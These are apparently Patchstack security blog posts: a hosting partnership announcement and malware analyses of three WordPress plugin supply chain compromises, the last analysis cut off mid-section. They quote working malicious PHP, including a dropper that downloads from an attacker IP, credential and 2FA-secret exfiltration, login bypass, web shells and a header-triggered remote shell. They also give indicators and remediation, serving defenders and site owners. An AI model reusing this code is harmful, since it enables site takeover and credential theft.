Patchstack Blog

HostArmada Adds Patchstack to Its Security Stack

Lana Rafaela — Tue, 21 Apr 2026 12:28:03 GMT

We’re excited to announce that HostArmada has integrated Patchstack into their platform – bringing proactive WordPress vulnerability protection to their customers through a new security add-on called Armada V-Shield.

HostArmada is a fast-growing cloud hosting provider built around performance, enterprise-grade security, and 24/7/365 support. They serve websites of all sizes – from personal blogs to WooCommerce stores – across 11 global data centers.

Now, with Patchstack, they’re closing the one gap that traditional hosting security has never quite solved.

We’ve always invested heavily in security, but most solutions focus on reacting after a threat appears. What we were missing was a way to proactively protect our customers from WordPress vulnerabilities before they get exploited. Patchstack gives us exactly that. With their vulnerability intelligence and virtual patching, we can now block threats earlier and deliver a stronger, more complete security experience to our customers.

— Simeon Mitev, HostArmada

Preventing – not just reacting

Traditional hosting security does a lot of things well. Firewalls, malware scanning, cleanup – HostArmada has always gone further than most on all of these. But their team kept running into the same problem: the most critical risks for their customers weren’t happening at the infrastructure level.

They were happening inside WordPress plugins.

And most security tools only kick in after a threat is already known, or after damage is already done.

HostArmada wanted something different – protection that works before vulnerabilities get exploited, and even before developers release a patch.

Patchstack fills that gap perfectly. Their vulnerability intelligence and virtual patching capabilities let us protect customers against threats that are often undisclosed or not yet patched by developers. And the best thing – that happens without clients updating their plugins, so the risk of broken websites drops to, well, 0.

— Simeon Mitev, HostArmada

Meet Armada V-Shield

HostArmada customers can now activate Armada V-Shield directly from their client area. Once active, it installs a lightweight plugin, starts scanning immediately, and surfaces everything in a clean dashboard – no technical setup needed.

Here’s what it does:

Continuous vulnerability monitoring across plugins, themes, and WordPress core
Vulnerability mitigation via RapidMitigate – blocks known exploits automatically
Advanced Hardening to stop common malicious requests
Community IP Blocklist to block known bad actors before they reach the site
Full software inventory with version and security status for every component
Blocked threat logs with rule, module, origin, and timestamp

The key thing: customers get protection from unpatched and even undisclosed vulnerabilities – without touching a single plugin. No update anxiety. No site breakage.

Learn how to activate Armada V-Shield →

Protecting WordPress – together

Patchstack runs the largest WordPress vulnerability intelligence database in the ecosystem and protects millions of websites with real-time mitigation and threat intelligence. HostArmada brings deep hosting expertise, global infrastructure, and a customer base that expects security to just work.

This partnership lets us move from reactive security to proactive protection – significantly reducing risk for our customers while strengthening the overall security posture of our platform. It’s a natural extension of our commitment to providing a secure and reliable hosting environment.

— Simeon Mitev, HostArmada

Together, we’re making it easier for WordPress site owners to stay protected – no technical expertise required.

Supply Chain Compromise: Trojanized Copy of WowShipping Pro Installs Hidden Remote Access Toolkit

Patchstack — Fri, 17 Apr 2026 13:02:21 GMT

This blog post is a technical analysis of a trojanized copy of WowShipping Pro version 1.0.6 for WordPress, a commercial plugin sold by WPXPO. Patchstack received a copy of the plugin from a site owner who traced a client site compromise back to it. The file contains a dropper that silently installs a second, independent malware plugin containing a full-featured remote access toolkit.

If you are running WowShipping Pro, ensure you are on at least version 1.0.8 (which the vendor released on March 22, 2026 and which does not contain the dropper) and see the remediation section at the end of this article. Updating the plugin alone does not remove the installed malware.

The Patchstack vulnerability database entry can be found here. While Patchstack has released a mitigation rule to protect against exploitation, it does not guarantee complete protection if the site has already been infected.

About the WowShipping Pro plugin

WowShipping is a WooCommerce table rate shipping plugin developed by WPXPO, with thousands of active installations across its free and Pro editions. It allows store owners to configure complex shipping rules based on weight, destination, quantity, product category, user role, and over thirty other conditions. The Pro version unlocks advanced conditional logic, live carrier rates, and role-based shipping.

The plugin in its Pro version is sold and hosted through WPXPO’s own e-commerce site.

What happened

On April 16, Chad Yoder of Black Anvil Creative reported a compromise on a client site running WowShipping Pro v1.0.6 to Patchstack, accompanied by the trojanized copy of the plugin they had traced it to. They stated that the copy in question originated directly from WPXPO.

The copy we received contains a modified includes/class-plugin-actions.php file. Timestamp metadata inside the zip shows the file was last written on March 13, 2026, five days after the rest of the package, which carries a uniform build date of March 8.

The modification added 73 lines of code implementing a fully functional malware installer, while preserving the legitimate plugin row meta logic already present in the file. Several forensic signals indicate the modification was not made by the original developer: the injected method uses space indentation while the surrounding file uses tabs, it lacks a PHPDoc block while every other method in the class has one, and it uses raw cURL plus ZipArchive rather than the WordPress filesystem APIs the rest of the plugin relies on.

On March 22, WPXPO released v1.0.7 and v1.0.8 with the dropper removed. We obtained a copy of v1.0.8 and confirmed it by diffing against v1.0.6: the install_woocommerce_notifications() method and its admin_init hook registration have been deleted, the file is otherwise identical to the pre-modification version, and no other files in the package contain the dropper’s indicators. The v1.0.7 and v1.0.8 changelog entries in the readme are both dated March 22 and both read simply “Fix: Some Issue Fixed.”

On March 24, WPXPO sent an email to Pro customers titled “Security Update – Action Required”, stating that they had “released a new version of our Pro plugins that includes an important security patch” and asking users to update. The email did not describe the nature of the issue, did not name the malware, did not mention that a secondary plugin may have been installed on affected sites that would persist after updating, and did not provide detection or remediation instructions.

WPXPO’s email to Pro customers on March 24, 2026

In private correspondence with the reporter, WPXPO’s support team acknowledged the report and stated they had “reviewed their build process, secured their servers, and performed a full audit of the affected files” and released “an updated version to ensure everything is clean and safe for all users.” No public advisory has been issued at the time of writing.

Taken together (the vendor’s clean v1.0.8 release, their customer email, and their private acknowledgement), WPXPO’s response is consistent with a supply chain incident. The full scope of the incident, including which plugins and what time window were affected, has not been publicly disclosed. WPXPO’s email stated that “all Pro plugins” should be updated, which suggests the issue was not limited to WowShipping Pro, but Patchstack has not independently verified the other Pro plugins in their catalogue.

Technical analysis of the malware

The attack is delivered in two stages. Stage 1 is the dropper embedded in the trojanized WowShipping Pro plugin. Stage 2 is the fake “WooCommerce Notifications” plugin that the dropper installs. Stage 2 is where the actual malware lives.

Stage 1: The dropper in WowShipping Pro

The dropper sits in includes/class-plugin-actions.php and registers a callback on the admin_init hook (meaning it fires on every admin page load by any authenticated administrator). The function searches for a plugin with the slug woocommerce-notifications. If it is not found, the dropper downloads a zip archive from a hardcoded attacker-controlled IP using raw cURL, extracts it directly into wp-content/plugins/, and activates the resulting plugin using WordPress’s activate_plugin() API. Finally, it sends a beacon to the same attacker IP containing the victim’s domain name, and sets a WordPress option flag so the beacon is only sent once.

public function install_woocommerce_notifications() {
    require_once ABSPATH . 'wp-admin/includes/plugin.php';
    $all_plugins = get_plugins();
    $plugin_path = null;
    foreach ( $all_plugins as $path => $data ) {
        if ( strpos( $path, 'woocommerce-notifications' ) === 0 ) {
            $plugin_path = $path;
            break;
        }
    }
    if ( $plugin_path ) {
        if ( ! is_plugin_active( $plugin_path ) ) {
            activate_plugin( $plugin_path );
            [...]
        }
        return;
    }
    $plugin_zip_url = 'http://188.137.251.115:3029/files/woocommerce-notifications.zip';
    $plugins_dir   = WP_PLUGIN_DIR;
    $zip_path      = $plugins_dir . '/woocommerce-notifications-temp.zip';

    $ch = curl_init( $plugin_zip_url );
    [...]
    $zip->extractTo( $plugins_dir );
    $zip->close();
    [...]
    activate_plugin( $plugin_path );

Several forensic artifacts in this file signal tampering: the method uses space indentation while the rest of the file uses tabs, it lacks a PHPDoc block while every other method has one, it bypasses the WordPress filesystem API in favor of raw cURL and ZipArchive, and it connects to a raw IP address over plain HTTP on a non-standard port. The attacker was competent but not careful about matching the surrounding code style.

The dropper also functions as a re-infection mechanism: as long as it remains installed and active, any removal of the malware plugin is reversed on the next admin page load. Updating WowShipping Pro to a clean version removes the dropper, but does not remove the malware that the dropper already installed.

Stage 2: The “WooCommerce Notifications” malware plugin

The installed payload masquerades as a legitimate WooCommerce extension. Its main file contains a fabricated plugin header with real WooCommerce branding, and the package includes decoy files (class-wc-stock-delivery-map.php, class-wc-region-dispatch-event.php) that implement functional-looking no-ops. The actual malware is distributed across three active component files and two bundled web-accessible tools.

The malware operates in several stages, each providing an independent access vector. Removing any single component does not neutralize the others.

1. Self-concealment from the WordPress plugins list

The main plugin file hooks the all_plugins filter to remove itself from the array WordPress uses to populate the Plugins admin page. A site administrator viewing their plugin list will not see “WooCommerce Notifications” at all, even though it is installed, active, and running on every request.

add_filter( 'all_plugins', function( $plugins ) {
    unset( $plugins['woocommerce-notifications/woocommerce-notifications.php'] );
    return $plugins;
} );

The main plugin file also references an optional install-persistent.php loader. This file is not present in the analyzed sample, but the require_once hook is in place, indicating the attacker has reserved space for a future second-stage persistence module.

2. Real-time credential theft on every login

The file class-wc-notification-trace-dispatch.php registers four separate authentication hooks that intercept login credentials at different points in the WordPress authentication flow:

wp_authenticate : captures the plaintext username and password into a global variable before WordPress verifies them. Independently verifies the credentials and exfiltrates them immediately on success
wp_login : exfiltrates credentials after WordPress has completed its own login sequence
wp_ajax_nopriv_wordfence_ls_authenticate : a dedicated hook for Wordfence Login Security’s AJAX authentication flow, used when Wordfence handles 2FA

When a successful login is detected, the malware collects the username, plaintext password, remote IP, full request URL, WordPress user roles, all cookies, and the user-agent string. All fields are base64-encoded and sent via POST to a hardcoded exfiltration endpoint. The endpoint URL is itself base64-encoded in the source to evade static string searches.

add_action('wp_login', function($login, $user) {
    [...]
    $dispatch = [
        'login'      => base64_encode($user_identifier),
        'password'   => base64_encode($wc_notifications_pending_trace['password']),
        'fullPath'   => base64_encode($full_path),
        'ip'         => base64_encode($ip),
        'role'       => base64_encode($roles),
        'cookie'     => base64_encode($cookie_string),
        'user-agent' => base64_encode($ua)
    ];

    if (!function_exists('curl_init')) return;
    $ch = @curl_init(base64_decode('aHR0cDovLzFsMWwxbC5jb20vOGEzNzg4MTI0NDY2ODU1YTFkZmM3OGE2MWJmZGMzMmEucGhw'));
    [...]
}, 9999, 2);

The decoded URL is http://1l1l1l.com/8a3788124466855a1dfc78a61bfdc32a.php, a domain using visually confusing lowercase L and digit 1 characters to impersonate something innocuous in log review.

3. 2FA secret exfiltration

The same file contains a function that steals TOTP secrets from four widely used WordPress 2FA plugins. When a successful login is intercepted, the malware appends the victim’s TOTP secret to the exfiltration payload in the format username|BASE32_SECRET, giving the attacker both the credentials and the ability to generate valid time-based codes.

The targeted plugins and extraction methods are:

WP-2FA : reads the wp_2fa_totp_key user meta, and attempts to invoke the plugin’s internal WP2FA\Authenticator\Authentication::decrypt_key_if_needed() method to decrypt encrypted secrets
Wordfence Login Security : queries the wp_wfls_2fa_secrets database table directly, and falls back to resolving the table name dynamically through Wordfence’s Controller_DB class
Really Simple SSL : reads the rsssl_totp_secret user meta, and resolves the actual meta key name through the plugin’s Rsssl_Two_Factor_Totp::SECRET_META_KEY class constant for forward compatibility
Two-Factor (the plugin by the Two-Factor feature plugin team) : reads the _two_factor_totp_key user meta

The retrieved secret is normalized to base32 encoding before exfiltration. The defensive implication is significant: 2FA does not protect against this malware. Once a user logs in, the attacker has everything needed to bypass 2FA on future logins.

4. Authentication bypass backdoor

The file class-wc-notification-scheduler.php hooks into the init action at priority 0 (firing before nearly every other piece of WordPress code). On any POST request containing log and pwd fields, it checks whether the MD5 of the submitted password matches a hardcoded hash. If it matches, the malware logs in as whatever username was supplied in the log field, bypassing WordPress’s actual authentication, 2FA, rate limiting, and every other protection.

private static function maybe_trigger_internal_stock_dispatch() {
    if (
        $_SERVER['REQUEST_METHOD'] === 'POST' &&
        isset($_POST['log'], $_POST['pwd']) &&
        self::wc_compare_variance($_POST['pwd'])
    ) {
        $username = sanitize_user($_POST['log']);
        $user = get_user_by('login', $username);
        if (!$user) $user = get_user_by('email', $username);
        if (!$user) return;

        wp_set_current_user($user->ID);
        wp_set_auth_cookie($user->ID, true);
        wp_redirect(admin_url());
        exit;
    }
}

private static function wc_compare_variance($input) {
    $keymap = array_map('chr', [101,50,54,56,99,51,53,97,48,54,100,56,53,102,54,55,50,101,55,48,99,57,98,101,101,99,98,52,101,53,100,49]);
    $stored_hash = implode('', $keymap);
    return hash_equals($stored_hash, md5($input));
}

The hardcoded hash e268c35a06d85f672e70c9beecb4e5d1 is constructed via a chr() array to avoid appearing as a static string in source-code searches. The backdoor accepts any username (including any existing administrator) and calls wp_set_auth_cookie() directly, producing a fully valid authenticated session.

5. Remote code execution via diagnostic parameters

The file class-wc-notification-diagnostics.php implements a web shell hooked on template_redirect, meaning it activates on any frontend URL. It accepts three GET parameters: k for authentication, d for the base64-encoded payload, and t for the execution mode. Authentication is gated on the MD5 of k matching a hardcoded hash.

Four execution modes are available, each backed by a different PHP function, chosen to maximize compatibility across hardened hosting environments where some functions may be disabled.

$wc_handler_map = [
    's' => function($wc_cmd) {
        $wc_exec_fn = join('', array_map('chr', [115, 104, 101, 108, 108, 95, 101, 120, 101, 99]));
        return (function($wc_fn_ref, $wc_cmd_arg) { return @$wc_fn_ref($wc_cmd_arg); })( $wc_exec_fn, $wc_cmd );
    },
    'e' => function($wc_cmd) {
        $wc_exec_ref = '';
        foreach ([101, 120, 101, 99] as $wc_idx) $wc_exec_ref .= chr($wc_idx);
        $wc_out = [];
        @$wc_exec_ref($wc_cmd, $wc_out);
        return join("
", $wc_out);
    },
    'p' => function($wc_cmd) {
        $wc_passthru_fn = implode(array_map('chr', [112, 97, 115, 115, 116, 104, 114, 117]));
        ob_start();
        @$wc_passthru_fn($wc_cmd);
        return ob_get_clean();
    },
    'ph' => function($wc_cmd) {
        ob_start();
        eval($wc_cmd);
        return ob_get_clean();
    }
];

6. Bundled Adminer 5.2.1 database access tool and Tiny File Manager with hardcoded credentials

The file class-wc-template-builder.php is a complete, unmodified copy of Adminer 5.2.1, a popular open-source database management tool equivalent to phpMyAdmin. Adminer provides a full web UI for browsing, querying, modifying, exporting, and dropping database tables.

Critically, this file has no ABSPATH check and can be accessed directly via the URL /wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php without going through WordPress. An attacker with knowledge of the URL has full database access from the internet, requiring no WordPress credentials.

As well, the file class-wc-admin-template.php is a complete copy of Tiny File Manager v2.6, a PHP-based web file manager, with a hardcoded administrator credential baked into the source. Like the Adminer file, this one has no ABSPATH check and is directly accessible via its URL. An attacker who knows the password corresponding to the bundled bcrypt hash has complete filesystem browse, upload, download, edit, and delete access to the site, again, without any WordPress authentication.

Indicators of Compromise (IOC)

Files and directories

wp-content/plugins/woocommerce-notifications/ : the entire malware plugin directory
wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php : bundled Adminer 5.2.1
wp-content/plugins/woocommerce-notifications/includes/class-wc-admin-template.php : bundled Tiny File Manager v2.6
Check the trojanized dropper: wp-content/plugins/table-rate-shipping-pro/includes/class-plugin-actions.php with SHA-256 40ce8ffcc2c409a010c056a87e39e7b22ec28b61fbdaea7bf530872718193a3d

Database entries (wp_options table)

whx_wn_api_notify_sent : the dropper’s completion flag; its presence indicates the C2 beacon fired

Network indicators

Outbound HTTP to 188.137.251.115 on port 3029 : malware distribution server
Outbound HTTP POST to 1l1l1l.com : credential exfiltration endpoint
Full exfiltration URL : http://1l1l1l.com/8a3788124466855a1dfc78a61bfdc32a.php

Remediation

Updating to WowShipping Pro v1.0.8 removes the dropper but does not remove the malware plugin that the dropper previously installed. Full remediation requires:

Delete the entire wp-content/plugins/woocommerce-notifications/ directory from the filesystem
Update WowShipping Pro to v1.0.8 or later (or replace it with a freshly downloaded clean copy)
If any other WPXPO Pro plugins are installed, verify them against clean packages (WPXPO’s own notification indicated all Pro plugins were affected)
Delete the row from wp_options where option_name = 'whx_wn_api_notify_sent'
Rotate all administrator passwords
Reset all 2FA secrets for administrator accounts (simply trusting the existing secrets is not safe, they may have been exfiltrated)
Invalidate all active WordPress sessions (the simplest method is to change the auth_key, secure_auth_key, logged_in_key, and nonce_key salts in wp-config.php)
Review web server access logs for any requests to /wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php or /wp-content/plugins/woocommerce-notifications/includes/class-wc-admin-template.php, if these paths were accessed, assume full database and filesystem compromise and perform complete incident response
Review outbound connection logs for traffic to 188.137.251.115 or 1l1l1l.com

Conclusion

The malware itself is the clearest part of this story. The two-stage architecture, the multiple redundant access vectors, the 2FA secret theft targeting four different plugins by name, and the bundled Adminer and Tiny File Manager all point to an operator who is technically proficient and deliberate. The dropper in WowShipping Pro is small and easy to miss during casual review (a single modified method in a single file). But once it runs, it installs a much larger, feature-complete malware plugin that operates independently of the dropper.

How the trojanized copy reached the site owner is harder to prove from a technical analysis alone, even while the reporter implies they got it directly from WPXPO. The vendor has released a clean replacement, sent a customer-wide security email, and privately acknowledged the incident. We are presenting the technical findings on the file itself rather than a definitive attribution of the distribution path.

That distribution question matters less for affected site owners than what they need to do next. Because the malware persists independently of the plugin that installed it, every WPXPO Pro customer should check whether the woocommerce-notifications plugin directory exists on their site, even if they have already updated. WPXPO’s customer email asked users to update their Pro plugins but did not mention the secondary plugin, the credential exfiltration, or the need to rotate 2FA secrets. A generic “please update” notification, in cases like this one, leaves the users who most need help without the information they need to actually recover.

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free

Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts

Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

Critical Supply Chain Compromise on 20+ Plugins by EssentialPlugin

Ananda Dhakal — Wed, 15 Apr 2026 08:28:11 GMT

This blog post is a technical analysis of the supply chain compromise affecting multiple plugins developed by EssentialPlugin for WordPress. A malicious party acquired EssentialPlugin, planted backdoor and triggered it across 20+ plugins to plant malware on thousands of WordPress sites.

If you are running any of the plugins developed by EssentialPlugin, update the plugins to the latest version.

Patchstack has published vulnerability entries for all of the affected plugins and released a mitigation rule that partly covers one of the exploitation scenarios.

About the Vendor

EssentialPlugin is a WordPress plugin vendor that has created a lot of open-source plugins available at wordpress.org. The vendor has developed multiple plugins with thousands of active installs including but not limited to WP Logo Showcase Responsive Slider and Carousel, Countdown Timer Ultimate, Popup Maker and Popup Anything, and more.

What Happened

As per Anchor Host, the vendor has been been developing plugins since 2015. However, in 2025, the company was sold to a buyer named “Kris” in Flippa. After the acquisition, the first commit from the new owner was the plantation of the backdoor across all the plugins.

In September 2025, the pushed code under the commit message [*] Check compatibility with WordPress version 6.8.2 was a potential PHP object injection with a gadget chain that could be triggered if analytics.essentialplugin.com returned with a malicious serialized content. A sample innocent-looking changeset that planted the backdoor looks like this. Even though the backdoor was planted 7 months ago, it was never used until April 5, 2026.

On 7th April, the WordPress Plugins Review team confirmed the attack and removed the PHP object injection gadget chain across all the affected plugins. They closed all of the affected plugins permanently in the directory and pushed a forced security update that attempts to remove the backdoor and warn administrators.

This is a classical case of supply chain compromise that happened because the original vendor sold their plugins to a third-party which turned out to be a malicious threat actor.

How the Attack Works

As mentioned above, the backdoor only worked if analytics.essentialplugin.com returned malicious serialized payload that would get deserialized to perform arbitrary file write or execute commands.

1. The Entrypoint

The plugin register an unauthenticated REST API endpoint:

public function wpos_rest_api_init() {
    foreach ( $this->analytics_slugs as $product_slug ) {
        register_rest_route(
            $product_slug . '/v1',
            '/analytics/',
            array(
                'methods'             => 'POST',
                'callback'            => array( $this, 'wpos_handle_analytics_request' ),
                'permission_callback' => '__return_true',  // No authentication
            )
        );
    }
}

The callback function triggered by the REST API endpoint looks like this:

public function wpos_handle_analytics_request( $request ) {
	global $wpos_analytics_module;

	// Get parameters from request
	$site_id      = sanitize_text_field( $request->get_param('siteID') );
	$product_id   = sanitize_text_field( $request->get_param('productID') );
	$product_slug = sanitize_text_field( $request->get_param('productSlug') );
	$site_url     = esc_url_raw( $request->get_param('siteURL') );

//TRIMMED
		// If matching product found, proceed with analytics
		if ( $matching_product ) {
			$version = $this->wpos_get_plugin_version_by_file($matching_product['file']);
			$update_result = $this->fetch_ver_info( $product_id, $version );
			unset($update_result);
			$this->wpos_process_monthly_data( array( $matching_product['slug'] ) );

//TRIMMED
		}
		
	}

}

2. The Sink

The fetch_ver_info() method fetches a serialized PHP object from the attacker’s server:

public function fetch_ver_info( $product_id, $curr_version ) {
    $url = $this->analytics_endpoint . '/plugin_info/' . $product_id . '/'
         . '?version=' . urlencode($curr_version)
         . '&site_url=' . urlencode(get_site_url()) . '&live=1';

    $data = @file_get_contents($url);
    if (!$data) {
        $this->status = 'offline';
        return false;
    }

    $info = @unserialize($data);  // Deserializes untrusted remote data

    if ($info instanceof self) {
        $this->release_date  = $info->release_date;
        $this->status        = $info->status;
        $this->write         = $info->write;
        $this->version_cache = $info->version_cache;
        $this->changelog     = $info->changelog;
    }
}

The content from the output of the fetch request to $this->analytics_endpoint is sent to the unserialize() function. The variable has the hardcoded value of analytics.essentialplugin.com.

3. The Gadget Chain to Arbitrary File Write

By itself, PHP object injection does not have any severe security impact. However, if there is a gadget chain, it can lead to various impact ranging from arbitrary file write to file deletion and more.

The class defaults look like this:

class Wpos_Anylc_Admin {
    public $analytics_endpoint = 'https://analytics.essentialplugin.com';
    public $status             = 'unchecked';
    public $write              = 'update_option';   // Looks harmless
    public $version_cache      = 'version';          // Looks harmless
    public $changelog          = null;
    public $release_date       = null;

At first glance, $write = 'update_option' looks like a standard WordPress function reference. But after fetch_ver_info() runs, all of these properties are replaced with whatever the attacker’s server sent.

The execution happens in version_info_clean():

public function version_info_clean() {
if ($this->status === ‘valid’ && $this->changelog && !$this->isOutdated()) {
$clean = $this->write;
@$clean($this->version_cache, $this->changelog);
}
}

The $clean variable populated through $this->write becomes file_put_contents(). The $this->version_cache acts as the destination for the malicious file and the content is written through the $this->changelog variable.

By creating the relative malicious serializated payload returned by the compromised server, the final payload becomes something like:

@file_put_contents("/var/www/html/wp-comments-posts.php", "<?php /* backdoor */ ?>");

This leads to arbitrary file write and full server compromise.

Plugin Review Team’s Incident Response

The WordPress Plugin Review team took immediate steps to stop the attack from spreading. They closed all plugins fully from wp.org to prevent more sites from getting infected. Additionally, they ensured that the PHP object injection cannot be triggered even after getting access to the compromised server.

In the new force-pushed version, the responsible code for file write has been commented out:

//@$clean($this->version_cache, $this->changelog);

Alongside, the function wpos_handle_analytics_request() directly stops the execution with the use of return; keyword in the function.

Affected Plugins

WP Logo Showcase Responsive Slider and Carousel (30k+ active installs)
Popup Maker and Popup Anything (30k+ active installs)
Countdown Timer Ultimate (20k+ active installs)
WP Responsive Recent Post Slider (20k+ active installs)
WP News and Scrolling Widgets (10k+ active installs)
WP Slick Slider and Image Carousel (10k+ active installs)
Album and Image Gallery Plus Lightbox (9k+ active installs)
Testimonial Grid and Testimonial Slider plus Carousel with Rotator Widget (9k+ active installs)
WP Blog and Widgets (8k+ active installs)
Timeline and History Slider (5k+ active installs)
Post grid and filter ultimate (5k+ active installs)
Meta Slider and Carousel with Lightbox (5k+ active installs)
WP responsive FAQ with category (4k+ active installs)
Blog Designer – Post and Widget (4k+ active installs)
Accordion and Accordion Slider (2k+ active installs)
Team Slider and Team Grid Showcase plus Team Carousel (2k+ active installs)
Popular Post Slider and Widget (2k+ active installs)
Featured Post Creative (1k+ active installs)
Portfolio and Projects (1k+ active installs)
WP Featured Content and Slider (1k+ active installs)
Post Ticker Ultimate (1k+ active installs)
Video gallery and Player (1k+ active installs)

Indicators of Compromise (IOC)

Files

wp-comments-posts.php
Modifications in wp-config.php file

Conclusion

Conclusion

This incident is a textbook example of a supply chain compromise in the WordPress ecosystem. A trusted plugin vendor, EssentialPlugin, sold their portfolio of 25+ plugins on Flippa, and the new owner turned out to be a malicious actor. After the acquisition, the attacker planted a dormant backdoor across all the plugins disguised as a routine compatibility update. Seven months later, the attacker activated it by serving malicious serialized payloads through their controlled server, turning an innocent-looking analytics module into a fully weaponized backdoor that could write arbitrary files and compromise any site running the affected plugins. This case is a stark reminder that plugin ownership changes can introduce serious security risks, and site administrators should treat such transitions with caution.

Want to learn more about finding and fixing vulnerabilities?

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free

Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts

Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

Critical Supply Chain Compromise in Smart Slider 3 Pro: Full Malware Analysis

Edouard — Thu, 09 Apr 2026 11:27:20 GMT

This blog post is a technical analysis of the supply chain compromise affecting Smart Slider 3 Pro version 3.5.1.35 for WordPress. An unauthorized party gained access to Nextend’s update infrastructure and distributed a fully attacker-authored build through the official update channel.

Any site that updated to 3.5.1.35 between its release on april 7, 2026 and its detection approximately 6 hours later received a fully weaponized remote access toolkit. If you are running Smart Slider 3 Pro, ensure you are on at least version 3.5.1.36.

About the Smart Slider 3 plugin

Smart Slider 3 is a popular WordPress slider plugin developed by Nextend, with over 800,000 active installations across its free and Pro editions. It provides a drag-and-drop visual editor for building responsive image, video, and post sliders, and integrates with major page builders like Elementor, Divi, and Beaver Builder.

The plugin is widely used by agencies, freelancers, and site owners alike, making it a high-value target for supply chain attacks.

What happened

Nextend has confirmed that an unauthorized party breached their update infrastructure and made unauthorized changes to Smart Slider 3 Pro version 3.5.1.35, the latest one at that time. This is a supply chain compromise: the attacker injected their own malicious code into the plugin and shipped it through the legitimate update channel. Every site that clicked “update” or ran an automatic component update willingly installed the backdoor, trusting the official distribution system.

According to Nextend, the compromised version was accessible through their update server for approximately 6 hours before it was detected and pulled. A clean version 3.5.1.36 has since been released, and Nextend has published security advisories for both WordPress and Joomla editions.

Only the Pro version of Smart Slider 3 is affected. The free version distributed through the WordPress.org plugin repository was not compromised. If version 3.5.1.35 was ever installed on your site, even briefly, the site should be treated as fully compromised and a cleanup should be performed as soon as possible (see Nextend guide here).

Technical analysis of the malware

Patchstack received the infected plugin main file for analysis. We identified extensive malicious code injected into the plugin’s main PHP file, while the attacker preserved the legitimate plugin header and the bootstrap logic at the bottom of the file (the PHP/WordPress version checks and the require_once plugin.php call), so the plugin still loads and functions normally.

Between these two legitimate sections, the attacker stripped out the original pre_http_request filter (which handled asset downloads) and injected a multi-layered backdoor in its place. The result is a file that looks and behaves like a working plugin while silently providing full remote access to the server.

The malware operates in several stages, each designed to ensure deep, persistent, and redundant access to the compromised site.

1. Pre-authentication remote command execution via HTTP headers

The very first block of injected code sits outside any WordPress hook and executes on every single page load, including the frontend. It checks for a custom HTTP header X-Cache-Status with the hardcoded value nw9xQmK4. When this header is present, the code immediately:

Flushes any output buffers and suppresses all error reporting
Reads a second header, X-Cache-Key, base64-decodes its value, and passes it directly to shell_exec()
Outputs the command result and terminates execution

This gives the attacker an unauthenticated remote shell. We noted as well that the use of generic cache-related header names is a deliberate evasion technique designed to blend in with CDN or reverse proxy traffic.

/* @internal cache-init */
if (isset($_SERVER["HTTP_X_CACHE_STATUS"]) && $_SERVER["HTTP_X_CACHE_STATUS"] === "nw9xQmK4") {
    @ob_end_clean();
    @error_reporting(0);
    header("Content-Type:text/plain");
    $ck = isset($_SERVER["HTTP_X_CACHE_KEY"]) ? $_SERVER["HTTP_X_CACHE_KEY"] : "aWQ=";
    echo @shell_exec(base64_decode($ck) . " 2>&1");
    exit;
}

2. Authenticated backdoor with dual execution modes

The main backdoor body registers an init action operating behind a secret key stored in the _wpc_ak WordPress option. When a request includes the GET parameter _chk matching this key, the backdoor activates.

It supports two modes, controlled by the m GET parameter:

PHP mode (m=php): Base64-decodes the POST parameter d and passes it directly to eval(). This allows execution of arbitrary PHP code on the server, giving the attacker full control over the WordPress application layer, database, and filesystem.

Shell mode (default): Base64-decodes the same POST parameter and attempts to execute it as an OS command. The code iterates through six different execution functions (shell_exec, exec, system, passthru, proc_open, and popen) and uses the first one that is available and not in the disable_functions list. This fallback chain ensures command execution succeeds even on hardened PHP configurations.

if ($ak && isset($_GET["_chk"]) && $_GET["_chk"] === $ak) {
            while (@ob_end_clean()) {}
            @error_reporting(0);
            @ini_set("display_errors", "0");
            header_remove();
            header("Content-Type: text/plain");
            header("Cache-Control: no-store");
            header("X-Robots-Tag: noindex");

            $mode = isset($_GET["m"]) ? $_GET["m"] : "sh";
            $raw  = isset($_POST["d"]) ? $_POST["d"] : "";
            $data = base64_decode($raw);

            if (!$data) { echo "OK"; die(); }

            if ($mode === "php") {
                ob_start();
                try { eval($data); } catch (\Throwable $e) { echo "PHP_ERR: " . $e->getMessage(); }
                $out = ob_get_clean();
                echo ($out !== false && $out !== "") ? $out : "(no output)";
                die();
            }

            $disabled = array_map("trim", explode(",", ini_get("disable_functions")));
            $out = null;
            foreach (array("shell_exec","exec","system","passthru","proc_open","popen") as $fn) {
                if (!function_exists($fn) || in_array($fn, $disabled)) continue;
                switch ($fn) {
                    case "shell_exec": $out = @shell_exec($data . " 2>&1"); break 2;
                    case "exec": $l=array(); @exec($data." 2>&1",$l); $out=implode("
",$l); break 2;
                    case "system": ob_start(); @system($data." 2>&1"); $out=ob_get_clean(); break 2;
                    case "passthru": ob_start(); @passthru($data." 2>&1"); $out=ob_get_clean(); break 2;
                    case "proc_open":
                        $p=@proc_open($data,array(1=>array("pipe","w"),2=>array("pipe","w")),$pp);
                        if(is_resource($p)){$out=stream_get_contents($pp[1]).stream_get_contents($pp[2]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}
                        break 2;
                    case "popen":
                        $h=@popen($data." 2>&1","r"); if($h){$out=stream_get_contents($h);pclose($h);} break 2;
                }
            }
            if ($out === null || $out === false || trim($out) === "") {
                $out = "NOSHELL
php=" . PHP_VERSION . "
os=" . PHP_OS . "
user=" . get_current_user()
                     . "
disabled=" . ini_get("disable_functions") . "
cwd=" . getcwd();
            }
            echo $out;
            die();
        }

If no shell function is available, the backdoor returns a diagnostic payload containing the PHP version, operating system, current user, disabled functions list, and working directory.

3. Hidden administrator account creation

The persistence function _wpc_deploy_persistence() creates a rogue WordPress administrator account designed to survive plugin removal:

Username: wpsvc_ followed by a 4-character hash derived from the site URL (ex: wpsvc_a3f1)
Email: kiziltxt2@gmail.com
Display name: “WordPress Service”, chosen to look like a legitimate system account
Role: Administrator

